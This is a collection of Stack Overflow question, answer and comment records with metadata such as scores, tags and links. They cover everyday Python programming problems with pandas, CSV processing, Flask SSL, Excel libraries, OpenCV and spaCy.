has body: Probable reason why it stops without finding everything: the inner loop advances the position in the file every time it reads a row. when you break out of the inner loop the the file counter/pointer/position(?) remains at the place it left off during the next iteration of the outer loop, the inner loop starts at the last file position instead of at the beginning. So it cannot find any valid msno's in the previous lines/rows of the file. You can verify this by printing the file's position (file.tell()) just before the inner loop (remember ctrl-c to break out of it.) You can fix this by sending the file back to the beginning after the inner loop has completed (whether by StopIteration or a break) so that the inner loop can search through the whole file looking for the msno. Be prepared for a much longer wait. with open('user_logs/user_logs.csv','r') as infile: reader = csv.reader(infile) for msno in range(len(unique_msnos)): counter = 0 #print(infile.tell()) for row in reader: #inner_loop_stuff... #inner_loop_stuff... #inner_loop_stuff... infile.seek(0) unique_msnos has 1.1E6 records, reader has 9E8 records. For each record in unique_msnos you will iterate 9e8 times - that would come to 1e15-ish iterations. You have to be careful with nested loops. When checking for membership you should use a set. unique_msnos = set(unique_msnos) You want to keep track of the number of records you find so maybe make unique_msnos a dictionary with the value holding the count. unique_msnos = dict.fromkeys(unique_msnos, 0) Then iterate over reader check for membership and adding logic to see if there are already 5: for row in reader: c = unique_msnos.get(row[0], None) if c in (5, None): continue writer.write(row) unique_msnos[row[0]] += 1 ... This should alleviate it somewhat - 9e8 iterations. There are probably other optimizations. If the msno-s are guaranteed to all be the same length you may get an incremental improvement using slicing instead of using a csv.Reader. I really don't kn…
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47316068
type: Answer
answers question: http://stackoverflow.com/q/47316068
has comment: http://stackoverflow.com/comment/81589942
has comment: http://stackoverflow.com/comment/81590049

http://stackoverflow.com/a/47351250
downvote count: 0
has body: You can use boolean indexing for max volume and tail(1) for last value of open inside apply since you have duplicate index i.e ohlc_dict = { 'high': 'max', 'low': 'min', 'close': 'last', 'volume': 'max', } grp = df.groupby(pd.Grouper(freq='1Min',level=0,label='left')) ndf = grp.agg(ohlc_dict) ndf['open'] = grp['open','volume'].apply(lambda x : x[x['volume'] == x['volume'].max()].tail(1)['open']) Output : low volume close high open datetime 2017-11-17 12:35:00 0.96213 29 0.96222 0.96223 0.96213
score: 2
answers question: http://stackoverflow.com/q/47350677
type: Answer
upvote count: 2

http://stackoverflow.com/a/47253632
has comment: http://stackoverflow.com/comment/81462111
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47253524
has comment: http://stackoverflow.com/comment/81457672
type: Answer
has comment: http://stackoverflow.com/comment/81457835
has comment: http://stackoverflow.com/comment/81457980
has body: You can try this: import re sentence = "PHONE is STATUS" keys = re.findall('[A-Z]+', sentence) s = [{'TELEPHONE': '111', 'STATUS': 'BUSY'}, {'TELEPHONE': '122', 'STATUS': 'BUSY'}, {'TELEPHONE': '133', 'STATUS': 'FREE'}] final_data = ' '.join([' is '.join([[b for a, b in i.items() if a.endswith(keys[0])][0], i[keys[-1]]]) for i in s]) Output: '111 is BUSY 122 is BUSY 133 is FREE'

http://stackoverflow.com/comment/82380674
score: 0
comment on: http://stackoverflow.com/a/47330393
type: Comment
type: AnswerComment
has text: I've implemented the second method,and it works great with my current datasets! Marked as answer

http://stackoverflow.com/comment/81718266
comment on: http://stackoverflow.com/q/47382607
score: 0
has text: @cᴏʟᴅsᴘᴇᴇᴅ And I'm still trying with the previous problem. I think he can do just that. Theoretically, I have only one function, let's assume that the solution to my problem would be to create a loop with the function `((A * B) * C) * A)` and so on. Because in that solution the code gives separate solutions for each element, comparing them still to the first one :)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81433489
type: QuestionComment
comment on: http://stackoverflow.com/q/47240859
score: 0
has text: Possible duplicate of [Suppress descriptive output when printing pandas dataframe](https://stackoverflow.com/questions/24295451/suppress-descriptive-output-when-printing-pandas-dataframe)
type: Comment

http://stackoverflow.com/comment/81682472
has text: It's not impossible, just inefficient. If you _really_ wanted to, you could come up with ways that are even more inefficient. :)
score: 0
comment on: http://stackoverflow.com/q/47364370
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81430073
type: Comment
comment on: http://stackoverflow.com/q/47239885
type: QuestionComment
score: 0
has text: I'm using matplotlip

http://stackoverflow.com/comment/81593685
comment on: http://stackoverflow.com/a/47321291
has text: You are wrong and a bit cock sure of yourself there. I tried that hours ago. For completeness I just tried again. The error I just got is the same as hours ago. `IndexError: list index out of range`. Interestingly it works in the >>> env but not in the script.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47321451
has comment: http://stackoverflow.com/comment/89772038
has comment: http://stackoverflow.com/comment/89721346
score: 5
upvote count: 5
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/100030416
has body: The problem is from the model: 'ssd_mobilenet_v1_coco_2017_11_08' Solution: change to an differrent version 'ssd_mobilenet_v1_coco_11_06_2017' (this model type is the fastest one, change to other model types will make it slower and not the thing that you want) Just change 1 line of code: # What model to download. MODEL_NAME = 'ssd_mobilenet_v1_coco_11_06_2017' When I use your code, nothing is shown but when I replace it with my previous experiment model 'ssd_mobilenet_v1_coco_11_06_2017' it works fine
has comment: http://stackoverflow.com/comment/89717904
answers question: http://stackoverflow.com/q/47237388

http://stackoverflow.com/a/47317300
has body: in python documentation you can see List Comprehensions this pattern is important : expression for item in list if conditional else or for simple usage : expression for item in list in list data type we can use : list = [0,1,2,3,4,5] a = [x for x in list] print (a) printed : [1,2,3,4,5] and we have : a = [x*2 for x in list] print (a) printed : [2,4,6,8,10] and for dictionary in dictionary we have this syntax: {key1:value1, key2:value2, . . .} and example : list = [0,1,2,3,4,5] d = [k:0 for k in list] print (d) in example k:0 maens : put 0 for value of each k printed : {1: 0, 2: 0, 3: 0, 4: 0, 5: 0} one more thing : python dictionary have to Helpful method:dict.keys(),dict.values() when we use dict.keys, python return a list of dict's keys d = {"name":"sam", "job":"programer", "salary":"25000"} print(d.keys()) print(d.values()) printed : ['name','job','salary'] ['sam','programer','25000'] for add a new object in a dictionary we use : d[newkey]= newValue for example : d[10] = 'mary' print(d[10]) printed : 'mary' now your answer : in your code 1) k:0 maens : put 0 for value of each k 2) 0xbeef is a hex code == 48879 in decimal values[48879] = len(values) its fill by length of list.
answers question: http://stackoverflow.com/q/47316521
type: Answer
score: 0

http://stackoverflow.com/q/47226600
upvote count: 3
has answer: http://stackoverflow.com/a/47227902
answer count: 1
downvote count: 0
favorite count: 0
tagged with: plot
has body: Have some data that I've plotted on a log-log plot and now I want to fit a straight line through these points. I have tried various methods and can't get what I'm after. Example code: import numpy as np import matplotlib.pyplot as plt import random x= np.linspace(1,100,10) y = np.log10(x)+np.log10(np.random.uniform(0,10)) coefficients = np.polyfit(np.log10(x),np.log10(y),1) polynomial=np.poly1d(coefficients) y_fit = polynomial(y) plt.plot(x,y,'o') plt.plot(x,y_fit,'-') plt.yscale('log') plt.xscale('log') This gives me a ideal 'straight' line in log log offset by a random number to which I then fit a 1d poly. The output is: So ignoring the offset, which I can deal with, it is not quite what I require as it has basically plotted a straight line between each point and then joined them up whereas I need a 'line of best fit' through the middle of them all so I can measure the gradient of it. What is the best way to achieve this?
type: AnsweredQuestion
has title: Plot straight line of best fit on log-log plot
score: 3
tagged with: matplotlib
tagged with: python
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47227902

http://stackoverflow.com/comment/81434274
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47241843
has text: @devalone: why don't you aim to do the homework yourself first? What regexes did you try? Why it did not work?
score: 1

http://stackoverflow.com/comment/81462328
has text: Thanks, i have revised my question
comment on: http://stackoverflow.com/q/47255441
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47369915
downvote count: 0
answers question: http://stackoverflow.com/q/47369579
type: Answer
has body: This function does not exist in OpenCV, but OpenCV provides the basic function to create it, which is called cv::getGaussianKernel. Because I am unfamiliar with python, I wrote my program in c++, but I know it is simple to convert this code to python. Mat xdirectionGauss = getGaussianKernel(4, //Size of kernel in x direction 1.4); // Sigma in x direction Mat kernel =xdirectionGauss*xdirectionGauss.t(); //kernel * transpose(kernel) kernels output will be like this: [0.035183571, 0.058602851, 0.058602851, 0.035183571; 0.058602851, 0.097610727, 0.097610727, 0.058602851; 0.058602851, 0.097610727, 0.097610727, 0.058602851; 0.035183571, 0.058602851, 0.058602851, 0.035183571] If you compare the results with MATLAB, which produced a 2D kernel, the output will be identical to opencv. &gt;&gt; h = fspecial('gaussian',[4 4], 1.4) h = 0.0352 0.0586 0.0586 0.0352 0.0586 0.0976 0.0976 0.0586 0.0586 0.0976 0.0976 0.0586 0.0352 0.0586 0.0586 0.0352
score: 3
upvote count: 3

http://stackoverflow.com/comment/127206517
has text: @SadSack963: "." represents the root window, and is also used as a separator for deeper hierarchies just like "/" both represents the root directory and is used as a separator for deeper hierarchies of files and directories. The "!" is just a character that tkinter adds to distinguish it's internally-created names from other names. There's nothing special about it.
type: Comment
comment on: http://stackoverflow.com/a/47227629
type: AnswerComment
score: 1

http://stackoverflow.com/q/47320455
tagged with: https
favorite count: 0
accepted answer: http://stackoverflow.com/a/47322456
type: Question
has comment: http://stackoverflow.com/comment/81596293
score: 3
has answer: http://stackoverflow.com/a/47322456
has comment: http://stackoverflow.com/comment/81592214
has comment: http://stackoverflow.com/comment/81594049
tagged with: ssl
tagged with: python
has body: I've got a basic Flask server setup with some endpoints. I'm trying to test this out using curl (I've tried both from localhost and remotely, the result is the same). If I curl the path over http, it works great. If I do it over https, the request looks like garbage (see below) and curl returns "curl: (35) gnutls_handshake() failed: An unexpected TLS packet was received." Requests received over https typically looks similar to: 136.152.142.32 - - [16/Nov/2017 01:32:56] code 400, message Bad request syntax ('\x16\x03\x01\x00\xe3\x01\x00\x00\xdf\x03\x03Z\x0c\xea\xcf\rG\x12,\xea}\xc4\x17n\xb7\x0c\x0b\xea\xdbM\x87n\xf3\x95\xa7(\x15+\xb5lyzY\x00\x00n\x00\xff\xc0,\xc0+\xc0$\xc0#\xc0') 136.152.142.32 - - [16/Nov/2017 01:32:56] "??Z G,?}?n? ?? I added SSL functionality by simply adding an ssl_context to my flask app. if __name__ == '__main__': context = ('fullcert.pem', 'privkey.pem') app.run(debug=False, ssl_context=context) The keys are signed by a CA and worked fine in a comparable node application (I'm trying to convert that node application over to python/flask). I've tried basically reinstalling from the ground up with no success. This is being hosted on DigitalOcean in case anyone knows of some weird default configuration that they do that could be causing this. I've specifically opened the port that the application is running on. Does anyone have any other suggestions of what could be causing the problem?
upvote count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81595058
has title: Flask SSL receiving garbage requests
has comment: http://stackoverflow.com/comment/81592217
has comment: http://stackoverflow.com/comment/81594209
answer count: 1
has comment: http://stackoverflow.com/comment/81592156
has comment: http://stackoverflow.com/comment/81594904
tagged with: flask
downvote count: 1

http://stackoverflow.com/comment/81482010
type: QuestionComment
has text: @Kevin I thought that I will code size of types in similar way but this approach will be even better.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47264885

http://stackoverflow.com/q/47302367
tagged with: xlrd
upvote count: 2
linked to: http://stackoverflow.com/q/37486558
has body: Im using xlrd,xlwt,openpyxl for excel file manipulation i have the method below, which goes over 30 files in folder and change specific column for each row in file (some file has 5,15,17,etc rows) The method above can be run over and over and each file will be updated accordingly. But, Once i'm editing file (any of the files, and editing can be even small change in one of the cells (change from A to a for instance), the file cant be read by xlrd, and i'm getting the exception below. Any idea why? Exception: Traceback (most recent call last): File "/home/ohad/automationProj/automation-linux/0_master_code_prep.py", line 154, in sanity_run_all_change() File "/home/ohad/automationProj/automation-linux/0_master_code_prep.py", line 68, in sanity_run_all_change ExcelWorkBook1 = open_workbook(config.STDFOLDER + '%s.xlsx'%suitename, on_demand=True) File "/usr/local/lib/python2.7/dist-packages/xlrd/init.py", line 422, in open_workbook ragged_rows=ragged_rows, File "/usr/local/lib/python2.7/dist-packages/xlrd/xlsx.py", line 794, in open_workbook_2007_xml x12sheet.process_stream(zflo, heading) File "/usr/local/lib/python2.7/dist-packages/xlrd/xlsx.py", line 534, in own_process_stream self.do_dimension(elem) File "/usr/local/lib/python2.7/dist-packages/xlrd/xlsx.py", line 568, in do_dimension rowx, colx = cell_name_to_rowx_colx(last_cell_ref) File "/usr/local/lib/python2.7/dist-packages/xlrd/xlsx.py", line 91, in cell_name_to_rowx_colx assert 0 <= colx < X12_MAX_COLS AssertionError Code: def fullregression_run_all_change(): # FUll regression suites go over and change testes to Run print "Go over Sanity suites and Change all Test to Run position" ExcelWorkBook1 = open_workbook(config.UI_Suites_Location + 'STD_SUITES.xlsx', on_demand=True) First_Sheet1 = ExcelWorkBook1.sheet_by_index(0) Suite_List = [] for suitename in First_Sheet1._cell_values: if suitename[1] == "Nightly Full Regression Run": continue else: Suite_List.append(str(suitename[1])) print "Full regression suites count…
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has title: Python -xlrd library - assert 0 <= colx < X12_MAX_COLS-AssertionError
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/51890229
tagged with: python
score: 2

http://stackoverflow.com/comment/81706475
comment on: http://stackoverflow.com/a/47377159
has text: You're the one! Thanks a lot!
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81467362
type: Comment
comment on: http://stackoverflow.com/q/47258298
type: QuestionComment
has text: Do you mind blocking at `for` loop in `move_robot`? You can use `join`. Otherwise you need to create a new thread for this `for` loop.
score: 0

http://stackoverflow.com/a/47239563
has comment: http://stackoverflow.com/comment/81429805
has comment: http://stackoverflow.com/comment/81429830
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81429845
has comment: http://stackoverflow.com/comment/81429856
has comment: http://stackoverflow.com/comment/81430069
has comment: http://stackoverflow.com/comment/81430104
has comment: http://stackoverflow.com/comment/81430217
has comment: http://stackoverflow.com/comment/81429606
has comment: http://stackoverflow.com/comment/81430327
accepted answer of: http://stackoverflow.com/q/47239494
has comment: http://stackoverflow.com/comment/81430272
answers question: http://stackoverflow.com/q/47239494
score: 3
has comment: http://stackoverflow.com/comment/81429755
has comment: http://stackoverflow.com/comment/81429745
type: Answer
has comment: http://stackoverflow.com/comment/81429794
has body: Option 1 groupby + count. You can use the result to index your dataframe. df col a 1 0 2 1 b 1 3 2 4 3 5 c 2 7 3 8 v = df.groupby(level=0).transform('count').values df = df[v == 3] df col b 1 3 2 4 3 5 Option 2 groupby + filter. This is Paul H's idea, will remove if he wants to post. df.groupby(level=0).filter(lambda g: g.count() == 3) col b 1 3 2 4 3 5

http://stackoverflow.com/q/47333293
tagged with: console
has answer: http://stackoverflow.com/a/47339423
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47339423
has body: Currently I am doing some debugging on a script but when I run it the second time I get a false outcome. Now I want to restart the IPython console everytime when I run my script e.i. I want to include it in my script and do it automatically. I already tried to clear and restart my console but that doesn’t work. Has somebody an idea how I can solve this problem? Thank you for your help!
has title: Restart Spyder IPython console in script
score: 1
upvote count: 1
tagged with: restart
tagged with: spyder
answer count: 1
downvote count: 0
tagged with: ipython
favorite count: 0
type: Question
tagged with: python

http://stackoverflow.com/q/47372181
has title: Pandas Groupby How to Show Zero Counts in DataFrame
type: AnsweredQuestion
tagged with: pandas-groupby
has body: I have the following Pandas dataframe: Name | EventSignupNo | Attended | Points Smith | 0145 | Y | 20.24 Smith | 0174 | Y | 29.14 Smith | 0239 | N | 0 Adams | 0145 | N | 0 Adams | 0174 | Y | 33.43 Morgan | 0239 | Y | 31.23 Morgan | 0244 | Y | 23.15 and what I'd like is a count of the number of events attended and not attended per person, and the sum of their points, per person. So I do a groupby: df.groupby([Name, Attended]).agg({"Attended": "count", "Points": "sum"}).rename(columns = {"Attended: "Count"}).reset_index() which would give me something like: Name | Attended | Count | Points Smith | Y | 2 | 49.38 Smith | N | 1 | 0 Adams | Y | 1 | 33.43 Adams | N | 1 | 0 Morgan | Y | 2 | 54.38 but I'd want something like: Name | Attended | Count | Points Smith | Y | 2 | 49.38 Smith | N | 1 | 0 Adams | Y | 1 | 33.43 Adams | N | 1 | 0 Morgan | Y | 2 | 54.38 Morgan | N | 0 | 0 I tried playing around with pd.MultiIndex to try to fill the missing zero count, but to no avail. I've read the other similar questions but I'm having trouble dealing with the continuous Points column using MultiIndex. Any idea how to do this?
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47372201
upvote count: 2
score: 2
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47372201
favorite count: 0
type: Question
tagged with: python

http://stackoverflow.com/a/47269324
score: 1
answers question: http://stackoverflow.com/q/47266163
upvote count: 1
downvote count: 0
type: Answer
has body: The command driver.find_element_by_class_name('totalcount') returns a WebElement. Such instance includes a number of things, like the position of the element, if it is visible/clickable etc. You must use .text to find the "value" of you element. Try the following: maxpage = driver.find_element_by_class_name('totalcount').text or maxpage.text and assign it to a string.

http://stackoverflow.com/q/47320145
type: UnansweredQuestion
tagged with: openpyxl
has comment: http://stackoverflow.com/comment/81637044
linked to: http://stackoverflow.com/q/29355778
downvote count: 0
has body: I received the following error as I tried to open the Excel file which I have saved using openpyxl: Excel could not open excel_test.xlsx because some content is unreadable. Do you want to open and repair this workbook? Is there a way to tackle this issue without having to click the "repair" option? I have looked into here but it does not solve the problem. The original content of the file looks like this: and here is my code: import openpyxl path_excel = "" workbook_test = openpyxl.load_workbook(filename = path_excel) worksheet_test = workbook_test["Sheet1"] for row_, cellObj_ in enumerate(worksheet_test["D"], 1): if row_ == 1: cellObj_.value = "SUM" else: cellObj_.value = "= $B${0} + $C${0}".format(row_) workbook_test.save(filename = path_excel)
has comment: http://stackoverflow.com/comment/90975876
favorite count: 0
has title: Error while opening the Excel file after using openpyxl in Macintosh
type: Question
has comment: http://stackoverflow.com/comment/81592262
has comment: http://stackoverflow.com/comment/81599698
tagged with: python
score: 2
answer count: 0
upvote count: 2

http://stackoverflow.com/a/63176659
score: 6
has comment: http://stackoverflow.com/comment/128527108
has body: For checking in a specific column,you can simply check as below: 'test' in df.cloumn.values #which returns True or False For checking in complete df : df.isin(["test"]).any().any() #which will return True or False
answers question: http://stackoverflow.com/q/47348157
type: Answer
upvote count: 7
downvote count: 1

http://stackoverflow.com/q/47342810
score: 0
has answer: http://stackoverflow.com/a/47384570
accepted answer: http://stackoverflow.com/a/47384570
has body: I am running a AWS instance with 2CPUs, 8GB Ram, 450Mbps Bandwidth, with a docker container that holds python application. The container load average is almost ~6.0 during the day when Python is running, and after container is up in about 10 hours, host machine and container are still running but it fails to connect with any domain, but still can connect by IP address. Also the host machine DNS stills working fine. Here is the detail: `nslookup google.com` results: `nslookup: isc_socket_bind: address in use` I aware that running under ~6.0 load average can leads to many problems, but in my case the DNS problem keep happens over time, thus I need to understand why before upgrading the AWS instance.
has comment: http://stackoverflow.com/comment/81642483
answer count: 1
tagged with: scrapy
tagged with: amazon-web-services
type: Question
tagged with: dns
tagged with: python
has title: nslookup: isc_socket_bind: address in use - can't resolve dns in docker container (phusion image)
tagged with: docker
has comment: http://stackoverflow.com/comment/81721854
type: AnsweredQuestion

http://stackoverflow.com/a/47248255
answers question: http://stackoverflow.com/q/47248183
accepted answer of: http://stackoverflow.com/q/47248183
type: Answer
score: 0
has body: You'd want to split on (space) and then iterate over those values. s = 'Me_of_temp_max: 13.91 Me_of_temp_min: 11.33 Me_of_p_max: 14.25 Me_of_p_min: 14.53' s_key_vals = s.replace(':', '').split(' ') res = {} for idx, key in enumerate(s_key_vals): if idx % 2 == 0: # will be an even number, every time ``idx`` is even, it means key is a value like: ``Me_of_temp_min`` or ``Me_of_p_min`` etc res[key] = float(s_key_vals[idx+1]) # Convert the number to a float instead of being left with a string. Returns: {'Me_of_temp_min': 11.33, 'Me_of_p_min': 14.53, 'Me_of_temp_max': 13.91, 'Me_of_p_max': 14.25}
type: AcceptedAnswer

http://stackoverflow.com/q/47273318
downvote count: 1
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/zip
upvote count: 0
has comment: http://stackoverflow.com/comment/81497887
tagged with: python
score: -1
has body: I have a child.zip inside another zip master.zip I want to add a file str.txt to the child.zip The structure is something like this: master.zip child.zip str.txt Here is my attempts: def writeadapt(): with zipfile.ZipFile('master.zip','a', zipfile.ZIP_DEFLATED) as zfile: for name in zfile.namelist(): if re.search(r'\.zip$', name ) != None: zfiledata = io.BytesIO(zfile.read(name)) with zipfile.ZipFile(zfiledata , 'a', zipfile.ZIP_DEFLATED) as zfile2: zfile2.writestr('str.txt',"hello") zfile2.close() The code does not add the file str.txt to child.zip. What is the best way to add a file to a nested zip ?
accepted answer: http://stackoverflow.com/a/47274302
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47274302
has title: Adding files to a nested zip python
answer count: 1
tagged with: nested

http://stackoverflow.com/q/47243451
type: Question
has title: Checking if two arrays are broadcastable in python
accepted answer: http://stackoverflow.com/a/47244284
tagged with: numpy
has comment: http://stackoverflow.com/comment/81437570
has answer: http://stackoverflow.com/a/47244039
has body: According to the documentation (https://docs.scipy.org/doc/numpy/reference/ufuncs.html), two arrays are broadcastable if one of the following conditions are true: - The arrays all have exactly the same shape. - The arrays all have the same number of dimensions and the length of each dimensions is either a common length or 1. - Arrays that have too few dimensions can have their shapes prepended with a dimension of length 1 to satisfy property 2. I tried to implement this in python, but having a trouble in understanding the 2nd and 3rd rule. Not getting the answer that I am expecting, but I want to know what error that I am making in my code and a possible solution to this error. # Broadcastable if: # The arrays all have exactly the same shape. if a.shape == b.shape: result = True # The arrays all have the same number of dimensions elif len(a.shape) == len(b.shape): # and the length of each dimensions is either a common length or 1. for i in len(a.shape): if len(a.shape[i] != 1): result = False else: result = True # Arrays that have too few dimensions can have their shapes prepended with a dimension of length 1 to satisfy property 2 elif a.shape == () or b.shape == (): result = True else: result = False return result
has answer: http://stackoverflow.com/a/47244284
downvote count: 0
linked to: http://stackoverflow.com/q/47231974
tagged with: python
linked to: http://stackoverflow.com/q/47243021
type: AnsweredQuestion
answer count: 3
has answer: http://stackoverflow.com/a/59876756
possible better answer: http://stackoverflow.com/a/47244039
score: 10
upvote count: 10
favorite count: 0

http://stackoverflow.com/q/47379834
tagged with: generator-expression
answer count: 2
has answer: http://stackoverflow.com/a/47379897
downvote count: 0
favorite count: 0
tagged with: yield
type: Question
has body: I've been trying to convert this generator function into a generator expression, but with no success. Is it possible to have the same output with a generator expression? def gen5(num): for i in range(num): yield i *2 yield i *10 yield i *i g = gen5(4) list(g) [0, 0, 0, 2, 10, 1, 4, 20, 4, 6, 30, 9] I've tried the following, but get this (None, None, None) output. gen_exp2 = (((yield u*2), (yield u*10) ,(yield u*u)) for u in range(4)) list(gen_exp2) [0, 0, 0, (None, None, None), 2, 10, 1, (None, None, None), 4, 20, 4, (None, None, None), 6, 30, 9, (None, None, None)] I've also done this, but it gives 4 nested tuples instead of the list above. gen_exp3 = (((i*2), (i*10), (i*i)) for i in range(4)) list(gen_exp3) [(0, 0, 0), (2, 10, 1), (4, 20, 4), (6, 30, 9)] Also, how can I add a parameter to a generator expression? Many thanks in advance.
has comment: http://stackoverflow.com/comment/81711957
has comment: http://stackoverflow.com/comment/81711865
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/32139885
tagged with: python
has comment: http://stackoverflow.com/comment/81712014
score: 4
has title: Multiple yields in a generator expression? Python
has comment: http://stackoverflow.com/comment/81711910
tagged with: generator
has answer: http://stackoverflow.com/a/47379899
has comment: http://stackoverflow.com/comment/81711952
upvote count: 4

http://stackoverflow.com/a/47302797
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47302189
has body: because you set a,b,c,d=0; when readTweets(inFile, wordsName) did not get any data, "eastern/a" may cause "eastern/0 " . So, make sure your readTweets() did get data first.

http://stackoverflow.com/comment/81661170
type: QuestionComment
comment on: http://stackoverflow.com/q/47354354
has text: Since you can't modify a file inplace while iterating over it, you should create another file and just write the rows you want to it.
type: Comment
score: 1

http://stackoverflow.com/comment/81488458
type: Comment
comment on: http://stackoverflow.com/a/47260158
has text: The Users model doesnt come with a passwords field, thats okay right?
score: 0
type: AnswerComment

http://stackoverflow.com/a/52695741
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47355194
has body: I had a similar problem. I fixed it by - String url = "http://127.0.0.1:8080/"; // 2. create obj for the URL class URL obj = new URL(url); // 3. open connection on the url HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("Content-Type","image/jpeg"); con.setDoInput(true); con.setDoOutput(true); OutputStream out = con.getOutputStream(); DataOutputStream image = new DataOutputStream(out); Path path = Paths.get("jpeg.jpg"); byte[] fileContents = Files.readAllBytes(path); image.write(fileContents, 0, fileContents.length);
type: Answer

http://stackoverflow.com/q/47250816
has comment: http://stackoverflow.com/comment/81451975
answer count: 2
accepted answer: http://stackoverflow.com/a/47251271
has title: Using variables from separate functions in Python?
tagged with: function
upvote count: 0
downvote count: 2
has answer: http://stackoverflow.com/a/47251271
has comment: http://stackoverflow.com/comment/81452019
has comment: http://stackoverflow.com/comment/81455049
tagged with: variables
has comment: http://stackoverflow.com/comment/81451923
linked to: http://stackoverflow.com/q/15112125
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47251059
has comment: http://stackoverflow.com/comment/81451952
score: -2
tagged with: python
has body: I am currently working on a coding project where I have set several functions. I am trying to figure out how to use variables from different function. I have tried using 'self' but it hasn't worked. Can anyone help me sort out my code? class A(object): def intro1(self): print("Welcome to the XXCI forum!") self.intro2() def intro2(self): print("Press 'L' to log in and 'S to sign up.") ch1 = input() if ch1 == 'l' or 'L': self.log_in() elif ch1 == 'S' or 's': self.sign_up1() else: print("Your input was invalid") self.intro2() def sign_up1(self): print("Please enter your first name:") fn1 = input() if len(fn1) &gt;= 3: self.sign_up2() elif len(fn1) &lt;3: print("Please enter a name that is equal to or over three characters!") self.sign_up1() def sign_up2(self): print("Please enter your last name.") ln1 = input() if ln1 == ln1: with open(ln1.txt, "a") as ln1: ln1.write("Age: " + ag1 + ".") sign_up3() def sign_up3(): print("Please enter your age.") ag1 = input() if ag1 &gt; 90: print("Please enter an age under 90 and equal to 16 or over.") elif ag1 &lt;16: print("Please enter an age under 90 and equal to 16 or over.") else: user_g() def user_g(): username = (fn1[3], str[ag1]) username.join'' print("Here is your username:") print(username) p_creator() It's obviously not finished yet, but I would really appreciate guidance with how to correct my errors and use variables in different functions. Thank you very much!!
possible better answer: http://stackoverflow.com/a/47251059
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20002503

http://stackoverflow.com/q/47244826
possible better answer: http://stackoverflow.com/a/58464482
tagged with: image
has body: I'm trying to read an image using cv2.imread(image). 'image' is a reference to an element of a list of numpy arrays. The console tells me that my argument - image - is of type , so it should work with cv2.imread(), but i get the following error: 'TypeError: bad argument type for built-in operation'. What gives?
downvote count: 1
favorite count: 0
type: Question
tagged with: numpy
has title: OpenCV - numpy array is 'bad argument type' for cv2.imread?
has answer: http://stackoverflow.com/a/58464482
answer count: 2
accepted answer: http://stackoverflow.com/a/47245764
upvote count: 2
tagged with: arrays
has answer: http://stackoverflow.com/a/47245764
tagged with: python
tagged with: opencv
type: AnsweredQuestion
score: 1
linked to: http://stackoverflow.com/q/26681756

http://stackoverflow.com/a/47316577
has body: The k is the field in the dictionary. The set of all fields is stored in the device.keys() which is most probably a list, we loop through the list, take names of fields and initialize them by zero. Yes, you are right. The next statement is responsible for adding a new field and initializing it to the length of the array.
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47316521
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47316521

http://stackoverflow.com/comment/81665828
comment on: http://stackoverflow.com/q/47338678
type: Comment
type: QuestionComment
has text: NetworkX is certainly among the most versatile packages but it seems to been extremely slow. [Take a look at this benchmark](https://graph-tool.skewed.de/performance).
score: 0

http://stackoverflow.com/comment/81692051
has text: This is the error: https://imgur.com/a/HIJVs
comment on: http://stackoverflow.com/q/47369004
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81415993
score: 0
comment on: http://stackoverflow.com/a/47232418
type: Comment
has text: But isn't nginx supposed to direct all traffic coming to port 80 to that application? Should I make it 0.0.0.0:80 then? I see that some tutorials do not have that set.
type: AnswerComment

http://stackoverflow.com/comment/81519821
comment on: http://stackoverflow.com/q/47284796
score: 0
type: Comment
type: QuestionComment
has text: Is there any way to avoid this?

http://stackoverflow.com/q/47295316
has body: I'm working on a codebase that uses Spacy. I installed spacy using: sudo pip3 install spacy and then sudo python3 -m spacy download en At the end of this last command, I got a message: Linking successful /home/rayabhik/.local/lib/python3.5/site-packages/en_core_web_sm --> /home/rayabhik/.local/lib/python3.5/site-packages/spacy/data/en You can now load the model via spacy.load('en') Now, when I try running my code, on the line: from spacy.en import English it gives me the following error: ImportError: No module named 'spacy.en' I've looked on Stackexchange and the closest is: Import error with spacy: "No module named en" which does not solve my problem. Any help would be appreciated. Thanks. Edit: I might have solved this by doing the following: Python 3.5.2 (default, Sep 14 2017, 22:51:06) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import spacy >>> spacy.load('en') <spacy.lang.en.English object at 0x7ff414e1e0b8> and then using: from spacy.lang.en import English I'm still keeping this open in case there are any other answers.
has title: ImportError: No module named 'spacy.en'
has answer: http://stackoverflow.com/a/47297686
has comment: http://stackoverflow.com/comment/87003470
tagged with: spacy
has answer: http://stackoverflow.com/a/71009567
has answer: http://stackoverflow.com/a/48776304
has answer: http://stackoverflow.com/a/58693282
upvote count: 55
downvote count: 0
score: 55
has comment: http://stackoverflow.com/comment/94049378
has answer: http://stackoverflow.com/a/62142688
possible better answer: http://stackoverflow.com/a/49878147
has answer: http://stackoverflow.com/a/54761718
linked to: http://stackoverflow.com/q/34842052
